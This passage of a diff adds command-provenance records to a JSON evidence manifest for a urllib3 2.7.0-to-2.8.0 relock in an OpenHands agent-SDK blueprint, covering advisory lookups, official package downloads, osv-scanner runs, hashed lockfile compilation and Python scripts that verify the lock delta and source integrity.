"advisory-GHSA-8988-9cw3-xx77", + "argv": [ + "rtk", + "proxy", + "gh", + "api", + "advisories/GHSA-8988-9cw3-xx77" + ], + "cwd": "", + "started_utc": "2026-09-30T15:44:08.592035+00:00", + "ended_utc": "2026-09-30T15:44:09.038087+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "7929ee52a042c8d0506d026c5830429647018b82107f5d12b5160276b62fe0df", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "7929ee52a042c8d0506d026c5830429647018b82107f5d12b5160276b62fe0df", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-8988-9cw3-xx77.txt", + "returned_output_sha256": "fb052032fc980b4d4e96e650bc9585ade80c2e7e088af3e1247681ec71009cb4" + }, + { + "id": "advisory-GHSA-gh4c-6fx4-qh6g", + "argv": [ + "rtk", + "proxy", + "gh", + "api", + "advisories/GHSA-gh4c-6fx4-qh6g" + ], + "cwd": "", + "started_utc": "2026-09-30T15:44:09.039468+00:00", + "ended_utc": "2026-09-30T15:44:09.461852+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "292668f604fb598b2e4bc25a2c751bf1d9a1f382749b7b14a5a8da9473f06386", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "292668f604fb598b2e4bc25a2c751bf1d9a1f382749b7b14a5a8da9473f06386", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-gh4c-6fx4-qh6g.txt", + "returned_output_sha256": "90b1332fe158159b948fd56dda80014bb4408909cd9959fa6471d7b8e51be5bf" + }, + { + "id": "advisory-GHSA-vxq7-64xx-v4gw", + "argv": [ + "rtk", + "proxy", + "gh", + "api", + "advisories/GHSA-vxq7-64xx-v4gw" + ], + "cwd": "", + "started_utc": "2026-09-30T15:44:09.463379+00:00", + "ended_utc": "2026-09-30T15:44:09.903055+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e80dbb808c2cd59b7db5957a284c2206af31707c62e73c1a32d9c013696a19e2", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e80dbb808c2cd59b7db5957a284c2206af31707c62e73c1a32d9c013696a19e2", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-vxq7-64xx-v4gw.txt", + "returned_output_sha256": "b1e45e31e0d04f1b1e8704cbbaf018f9e20567e74a4e12c598bab2f1e17f69df" + }, + { + "id": "urllib3-pypi", + "argv": [ + "rtk", + "proxy", + "curl", + "--fail", + "--silent", + "--show-error", + "https://pypi.org/pypi/urllib3/2.8.0/json" + ], + "cwd": "", + "started_utc": "2026-09-30T15:44:09.904944+00:00", + "ended_utc": "2026-09-30T15:44:09.994447+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "5315e7401db3cacccd0c2ce5daf81f752a9cc3614b18c37f2b79930b7159ce2f", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "5315e7401db3cacccd0c2ce5daf81f752a9cc3614b18c37f2b79930b7159ce2f", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-pypi.txt", + "returned_output_sha256": "5106dea6d766f9dea3a4c3598b0b5fb951170e7634ebc4077ae8229360a9de03" + }, + { + "id": "upstream-source-download", + "argv": [ + "rtk", + "proxy", + "curl", + "--fail", + "--silent", + "--show-error", + "--location", + "https://codeload.github.com/OpenHands/software-agent-sdk/tar.gz/dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "--output", + "/source.tar.gz" + ], + "cwd": "", + "started_utc": "2026-09-30T15:46:02.968510+00:00", + "ended_utc": "2026-09-30T15:46:03.660351+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-download.txt", + "returned_output_sha256": "57969232d3b956d421536eee3740e0ce4f1c0ab9b3bbb4e9d4d4824c527b2feb" + }, + { + "id": "osv-download", + "argv": [ + "rtk", + "proxy", + "curl", + "--fail", + "--silent", + "--show-error", + "--location", + "https://github.com/google/osv-scanner/releases/download/v2.6.0/osv-scanner_linux_amd64", + "--output", + "/osv-scanner" + ], + "cwd": "", + "started_utc": "2026-09-30T15:46:03.661442+00:00", + "ended_utc": "2026-09-30T15:46:04.089994+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-download.txt", + "returned_output_sha256": "d82600844473eae879ad8d296b3850c313483b042d96fdbc6cd812894140a9a5" + }, + { + "id": "urllib3-tag-object", + "argv": [ + "rtk", + "proxy", + "gh", + "api", + "repos/urllib3/urllib3/git/tags/2f980b433a89399ad5efd72e7f6da04e667ea287" + ], + "cwd": "", + "started_utc": "2026-09-30T15:46:04.090897+00:00", + "ended_utc": "2026-09-30T15:46:04.426794+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "2f4069a4eda35ae9de3595db8422141040c1fb49a98efb6035a56de2a1c60d7a", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "2f4069a4eda35ae9de3595db8422141040c1fb49a98efb6035a56de2a1c60d7a", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag-object.txt", + "returned_output_sha256": "ba19d552ebbe4bb59ce441c1d721eb9aa9ecdc03510e9ffb331771dd18134fea" + }, + { + "id": "osv-release", + "argv": [ + "rtk", + "proxy", + "gh", + "api", + "repos/google/osv-scanner/releases/tags/v2.6.0", + "--jq", + "{tag_name,published_at,html_url,body}" + ], + "cwd": "", + "started_utc": "2026-09-30T15:46:04.427701+00:00", + "ended_utc": "2026-09-30T15:46:04.824289+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "79011fd9ed9e3328b4e7be9bbc272108c9bde9cb2a268f869adfbd0a950f8da2", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "79011fd9ed9e3328b4e7be9bbc272108c9bde9cb2a268f869adfbd0a950f8da2", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-release.txt", + "returned_output_sha256": "e13f8810643270828e18aee0420f007ea308411d509d5ad45a69266aa5918c42" + }, + { + "id": "upstream-sdk-release", + "argv": [ + "rtk", + "proxy", + "gh", + "api", + "repos/OpenHands/software-agent-sdk/releases/tags/v1.50.0", + "--jq", + "{tag_name,published_at,html_url,body}" + ], + "cwd": "", + "started_utc": "2026-09-30T15:46:04.825073+00:00", + "ended_utc": "2026-09-30T15:46:05.262390+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "6de6538efc4149ad5bdee787cdbbfa685dcbe7a1a53d96356d34e19d3059353a", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "6de6538efc4149ad5bdee787cdbbfa685dcbe7a1a53d96356d34e19d3059353a", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-sdk-release.txt", + "returned_output_sha256": "f48602b12057ff9c5f0733c85957fa6f02701cc58fc0d4ded87a569517f8138d" + }, + { + "id": "upstream-source-extract", + "argv": [ + "rtk", + "proxy", + "tar", + "-xzf", + "/source.tar.gz", + "-C", + "/source" + ], + "cwd": "", + "started_utc": "2026-09-30T15:46:05.346362+00:00", + "ended_utc": "2026-09-30T15:46:05.907530+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-extract.txt", + "returned_output_sha256": "bb3465f08e61b64b1bb31ac4b21c31bc21666c838c33af72242653d4647a4722" + }, + { + "id": "upstream-source-repro-extract", + "argv": [ + "rtk", + "proxy", + "tar", + "-xzf", + "/source.tar.gz", + "-C", + "/source-repro" + ], + "cwd": "", + "started_utc": "2026-09-30T15:46:05.908393+00:00", + "ended_utc": "2026-09-30T15:46:06.482600+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-repro-extract.txt", + "returned_output_sha256": "8d8a8b51794ebc7495cb81c340d71081f560945f11403e5c02ab07c398958a49" + }, + { + "id": "source-cutoff-policy", + "argv": [ + "rtk", + "proxy", + "rg", + "-n", + "exclude-newer|litellm =|lmnr =|urllib3|FROM python:3.13.15", + "/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml", + "/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-sdk/pyproject.toml", + "/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile" + ], + "cwd": "", + "started_utc": "2026-09-30T15:46:06.485841+00:00", + "ended_utc": "2026-09-30T15:46:06.510820+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "443c838b6f2d28dec611d9a41188725d64098c3d5eac962198924f8ead14b09c", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "4819641cf9cfd81e3328350f4112264f626c745586d30fe0190110794204169d", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-source-cutoff-policy.txt", + "returned_output_sha256": "8053b7326bc54ee1910f072f554534525758bd536859f24471ed79d60379acb2" + }, + { + "id": "osv-version", + "argv": [ + "rtk", + "proxy", + "/osv-scanner", + "--version" + ], + "cwd": "", + "started_utc": "2026-09-30T15:46:06.511869+00:00", + "ended_utc": "2026-09-30T15:46:06.592164+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e0bc7fa9d9b902f5179238abc870bc238c6f119e8c4c0b58b63fd26289fc5ea7", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e0bc7fa9d9b902f5179238abc870bc238c6f119e8c4c0b58b63fd26289fc5ea7", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-version.txt", + "returned_output_sha256": "245b92e6dce308af37eb7ff5ea3c76ba54b1f5e4ee5f57deafb9bbdb5a3f7d9e" + }, + { + "id": "osv-source-help", + "argv": [ + "rtk", + "proxy", + "/osv-scanner", + "scan", + "source", + "--help" + ], + "cwd": "", + "started_utc": "2026-09-30T15:46:06.593117+00:00", + "ended_utc": "2026-09-30T15:46:06.681725+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "5972256cc23d92300769a1a52cdb9d4e659ddcb658f932dd1b9f385fa931b019", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "5972256cc23d92300769a1a52cdb9d4e659ddcb658f932dd1b9f385fa931b019", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-source-help.txt", + "returned_output_sha256": "ab53298e1dd8fafd42c1480caaf75add6c307f3a87a2fa9f0c92c7eb48ef1f93" + }, + { + "id": "upstream-hashes", + "argv": [ + "rtk", + "proxy", + "sha256sum", + "/source.tar.gz", + "/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/uv.lock", + "/osv-scanner", + "/ci-config.toml", + "/requirements.in", + "/constraints.txt" + ], + "cwd": "", + "started_utc": "2026-09-30T15:46:06.683231+00:00", + "ended_utc": "2026-09-30T15:46:06.758360+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "8de5ffec112b0a9a34aa8f113142b2f34dbe20c6230d82d87524e8fe05c06400", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "95edd87fefdce074358f55e833db5fd7514655bca99bcca718eb7d196cb9dbe6", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-hashes.txt", + "returned_output_sha256": "83d23b7f91491e023d0c2e69f529786ba749ac7e3dbb153d3151dd0a3c7541bd" + }, + { + "id": "urllib3-file-urllib3-2.8.0-py3-none-any.whl", + "argv": [ + "rtk", + "proxy", + "curl", + "--fail", + "--silent", + "--show-error", + "--location", + "https://files.pythonhosted.org/packages/92/9d/c4e665119135114480843e7ab388fa94d8480650450e6f8e26b70d323a4c/urllib3-2.8.0-py3-none-any.whl", + "--output", + "/urllib3-2.8.0-py3-none-any.whl" + ], + "cwd": "", + "started_utc": "2026-09-30T15:46:06.759722+00:00", + "ended_utc": "2026-09-30T15:46:06.848255+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0-py3-none-any.whl.txt", + "returned_output_sha256": "2569c745287491f7d0768ac2b039afae7e8c756afc7de0e78fee3417c4eb46b9" + }, + { + "id": "urllib3-file-urllib3-2.8.0.tar.gz", + "argv": [ + "rtk", + "proxy", + "curl", + "--fail", + "--silent", + "--show-error", + "--location", + "https://files.pythonhosted.org/packages/e3/05/b17359e1cefb4f909b5e40b1b90a496d987258916dbbf88e842c729f510e/urllib3-2.8.0.tar.gz", + "--output", + "/urllib3-2.8.0.tar.gz" + ], + "cwd": "", + "started_utc": "2026-09-30T15:46:06.849347+00:00", + "ended_utc": "2026-09-30T15:46:06.948079+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0.tar.gz.txt", + "returned_output_sha256": "b1f213c795eca75598839d0707e32b7c22e2766d93d9a4bdce10cad28709921e" + }, + { + "id": "hosted-failure-36737133691", + "argv": [ + "rtk", + "proxy", + "gh", + "run", + "view", + "36737133691", + "--repo", + "seathatflowsinourveins/native-agent-stack", + "--log-failed" + ], + "cwd": "", + "started_utc": "2026-09-30T15:47:23.463906+00:00", + "ended_utc": "2026-09-30T15:47:24.273903+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "a146aa56f403ff7a886fa2c577f76a95ffce0271951d0eb59619fcb4fe224863", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "670fc91091d9831b683c37f960ffa64394ae94861feb4e92768b335bb55aac06", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-hosted-failure-36737133691.txt", + "returned_output_sha256": "f1fdb8e6fc3989c3f61d8af4ee4fab61b5ba9fa8efd8951b01dfd0017afb1604", + "sanitization_correction": { + "trigger": "repository-validation-before-integration exit 1 included possible personal home path in historical hosted log", + "before_sanitized_artifact_sha256": "132218adce3413c7c74eb68313268cb5df224e2b31661a54bc3aeab8bd19b933", + "added_replacements": [ + "Hosted runner home prefix -> ", + "Hosted toolcache prefix -> " + ], + "raw_private_stdout_unchanged": true + } + }, + { + "id": "baseline-osv-ci-config", + "argv": [ + "rtk", + "proxy", + "/osv-scanner", + "scan", + "source", + "--config", + "/ci-config.toml", + "--no-resolve", + "--lockfile=requirements.txt:/baseline.lock", + "--format", + "json" + ], + "cwd": "", + "started_utc": "2026-09-30T15:47:24.275281+00:00", + "ended_utc": "2026-09-30T15:47:24.992410+00:00", + "exit_code": 1, + "stdout_sha256_private_raw": "4524852e4624ec500f817c8b8ff1aadf4bd9d6c1d42cca2f051e9e1bb6b6806b", + "stderr_sha256_private_raw": "ccf0b9bf3f5096275fc1ec993bf7a58ed74c9e91409daa52e95574d404336b84", + "stdout_sha256_sanitized": "217e7398c4f53af8f4d6cfd7eabc350b25885423bc05e519305e99795e3899f6", + "stderr_sha256_sanitized": "7fbdb803b2df5b89b7a8ad7cbfe4fd19e46af18b00b9be304cdf6c6b4d8ce4a6", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.txt", + "returned_output_sha256": "40b41feb5e27a1f8e17d1e36e4c391aec18ceab3c076117b38ee0d4f41741a4d" + }, + { + "id": "baseline-osv-empty-config", + "argv": [ + "rtk", + "proxy", + "/osv-scanner", + "scan", + "source", + "--config", + "/empty-config.toml", + "--no-resolve", + "--lockfile=requirements.txt:/baseline.lock", + "--format", + "json" + ], + "cwd": "", + "started_utc": "2026-09-30T15:47:24.993825+00:00", + "ended_utc": "2026-09-30T15:47:25.549845+00:00", + "exit_code": 1, + "stdout_sha256_private_raw": "a8089fa1816b03989c0a90b2edf7fe4acc9361c606218a61249f98d24a0367bc", + "stderr_sha256_private_raw": "39dd5cc328d054eb589d6a676166576044806e983f76d400eb45df8775ce53bf", + "stdout_sha256_sanitized": "5d40c9aca93da1558267305ee0d1d4a88bc09b9a1b46d8c801454d9762c66822", + "stderr_sha256_sanitized": "035700faef44562d56a29867333e8a7b468cccfd8a094f6449539cc2d4619bb7", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.txt", + "returned_output_sha256": "fb6f5d2a85ed9ffbc7ec86c0347d8ce83c6b2e6e687106a8359a4f02f8c07c8e" + }, + { + "id": "native-control-compile", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "compile", + "/requirements.in", + "--constraints", + "/control-constraints.txt", + "--generate-hashes", + "--no-header", + "--no-annotate", + "--index-url", + "https://pypi.org/simple", + "--python-version", + "3.13.15", + "--python-platform", + "x86_64-unknown-linux-gnu", + "--exclude-newer", + "7 days", + "--exclude-newer-package", + "litellm=2026-07-20T00:00:00Z", + "--exclude-newer-package", + "lmnr=2026-08-23T00:00:00Z", + "--output-file", + "/control.lock" + ], + "cwd": "/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "started_utc": "2026-09-30T15:47:52.720988+00:00", + "ended_utc": "2026-09-30T15:47:52.997871+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106", + "stderr_sha256_private_raw": "0b84686707e0ac50dd9e79e7c7fa6e7fc99d7bb2759eb81d89c512578d43ee6a", + "stdout_sha256_sanitized": "383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106", + "stderr_sha256_sanitized": "0b84686707e0ac50dd9e79e7c7fa6e7fc99d7bb2759eb81d89c512578d43ee6a", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-control-compile.txt", + "returned_output_sha256": "4d2f9b42802e38983449113d8cc9d5655d80f17207b588eb846993f0fe077674" + }, + { + "id": "native-candidate-compile", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "compile", + "/requirements.in", + "--constraints", + "/constraints.txt", + "--generate-hashes", + "--no-header", + "--no-annotate", + "--index-url", + "https://pypi.org/simple", + "--python-version", + "3.13.15", + "--python-platform", + "x86_64-unknown-linux-gnu", + "--exclude-newer", + "7 days", + "--exclude-newer-package", + "litellm=2026-07-20T00:00:00Z", + "--exclude-newer-package", + "lmnr=2026-08-23T00:00:00Z", + "--output-file", + "/candidate.lock" + ], + "cwd": "/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "started_utc": "2026-09-30T15:47:53.001571+00:00", + "ended_utc": "2026-09-30T15:47:53.083310+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "bd1cbbe864b20cdd33b4c580846ef75451db3aca82a4e5305207890bb6b0d072", + "stderr_sha256_private_raw": "b0764a9600f7fdcd39f2180ca7d4504d573c156819bd7292e4480b951f2bb214", + "stdout_sha256_sanitized": "bd1cbbe864b20cdd33b4c580846ef75451db3aca82a4e5305207890bb6b0d072", + "stderr_sha256_sanitized": "b0764a9600f7fdcd39f2180ca7d4504d573c156819bd7292e4480b951f2bb214", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-candidate-compile.txt", + "returned_output_sha256": "b25fc55afe7cbb4791c6850406d6ef1fefe7aad87471ac3437214625ac5ac0a0" + }, + { + "id": "native-pristine-reproduction", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "compile", + "/requirements.in", + "--constraints", + "/constraints.txt", + "--generate-hashes", + "--no-header", + "--no-annotate", + "--index-url", + "https://pypi.org/simple", + "--python-version", + "3.13.15", + "--python-platform", + "x86_64-unknown-linux-gnu", + "--exclude-newer", + "7 days", + "--exclude-newer-package", + "litellm=2026-07-20T00:00:00Z", + "--exclude-newer-package", + "lmnr=2026-08-23T00:00:00Z", + "--output-file", + "/reproduced.lock" + ], + "cwd": "/source-repro/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "started_utc": "2026-09-30T15:47:53.086545+00:00", + "ended_utc": "2026-09-30T15:47:53.163617+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "bd1cbbe864b20cdd33b4c580846ef75451db3aca82a4e5305207890bb6b0d072", + "stderr_sha256_private_raw": "b0764a9600f7fdcd39f2180ca7d4504d573c156819bd7292e4480b951f2bb214", + "stdout_sha256_sanitized": "bd1cbbe864b20cdd33b4c580846ef75451db3aca82a4e5305207890bb6b0d072", + "stderr_sha256_sanitized": "b0764a9600f7fdcd39f2180ca7d4504d573c156819bd7292e4480b951f2bb214", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pristine-reproduction.txt", + "returned_output_sha256": "d054ccd94dde8ff2434db53d1e61fde2e5b006a828950ebda2bdf89f89c31435" + }, + { + "id": "exact-lock-delta", + "argv": [ + "rtk", + "proxy", + "python3", + "-c", + "import re,sys,json,hashlib\nfrom pathlib import Path\np=Path(sys.argv[1])\nbefore=(p/'baseline.lock').read_text();after=(p/'candidate.lock').read_text()\npattern=r'(?m)^urllib3==[^\\n]*(?:\\n[ \\t]+[^\\n]*)*'\noldblock=re.search(pattern,before).group(0);newblock=re.search(pattern,after).group(0)\nassert after==before.replace(oldblock,newblock,1),'bytes changed outside urllib3 block'\ndef declarations(s):\n out={}\n for name,kind,value in re.findall(r'(?m)^([a-zA-Z0-9_.-]+)(==| @ )([^\\n]+)',s):\n normalized=re.sub(r'[-_.]+','-',name).lower();out[normalized]=value.rstrip(' \\\\')\n return out\nold=declarations(before);new=declarations(after)\nadded=sorted(set(new)-set(old));removed=sorted(set(old)-set(new))\nchanged=[{'name':n,'before':old[n],'after':new[n]} for n in old.keys() & new.keys() if old[n]!=new[n]]\nassert len(old)==len(new)==176\nassert not added and not removed\nassert changed==[{'name':'urllib3','before':'2.7.0','after':'2.8.0'}]\nexpected=json.loads((p/'urllib3-artifacts.json').read_text())\nhashes=re.findall(r'--hash=sha256:([a-f0-9]+)',newblock)\nassert sorted(hashes)==sorted(a['sha256'] for a in expected)\nresult={'before_sha256':hashlib.sha256(before.encode()).hexdigest(),'after_sha256':hashlib.sha256(after.encode()).hexdigest(),'before_requirements':len(old),'after_requirements':len(new),'unchanged_declarations':175,'changed':changed,'added':added,'removed':removed,'only_urllib3_block_changed':True,'urllib3_hashes_match_official_pypi':True,'urllib3_block':newblock}\nprint(json.dumps(result,indent=2))\n", + "" + ], + "cwd": "", + "started_utc": "2026-09-30T15:49:28.413021+00:00", + "ended_utc": "2026-09-30T15:49:28.476603+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "f55330c05b4103f00e748ca2d54f1d20287ac39b98ed2e01b18eb3e7eb0483e4", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "f55330c05b4103f00e748ca2d54f1d20287ac39b98ed2e01b18eb3e7eb0483e4", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-lock-delta.txt", + "returned_output_sha256": "69615406cf936ee0ecaa844953620b3a1aeb059fea4f927fc5e01794a9db1981" + }, + { + "id": "pristine-source-verification", + "argv": [ + "rtk", + "proxy", + "python3", + "-c", + "import tarfile,sys,json,hashlib\nfrom pathlib import Path\np=Path(sys.argv[1]);results=[]\nwith tarfile.open(p/'source.tar.gz','r:gz') as archive:\n for extraction in ['source','source-repro']:\n mismatches=[];compared=0\n for member in archive.getmembers():\n if member.isfile():\n expected=archive.extractfile(member).read();actual=(p/extraction/member.name).read_bytes();compared+=1\n if expected!=actual:mismatches.append(member.name)\n results.append({'extraction':extraction,'original_regular_files_compared':compared,'mismatches':mismatches})\nassert all(r['original_regular_files_compared']>0 and not r['mismatches'] for r in results)\nprint(json.dumps(results,indent=2))\n", + "" + ], + "cwd": "", + "started_utc": "2026-09-30T15:49:28.477855+00:00", + "ended_utc": "2026-09-30T15:49:28.884990+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "934aaa701f01e0713816ae5289aac937e85ae2dead41205a2076c23eb3618d55", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "934aaa701f01e0713816ae5289aac937e85ae2dead41205a2076c23eb3618d55", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pristine-source-verification.txt", + "returned_output_sha256": 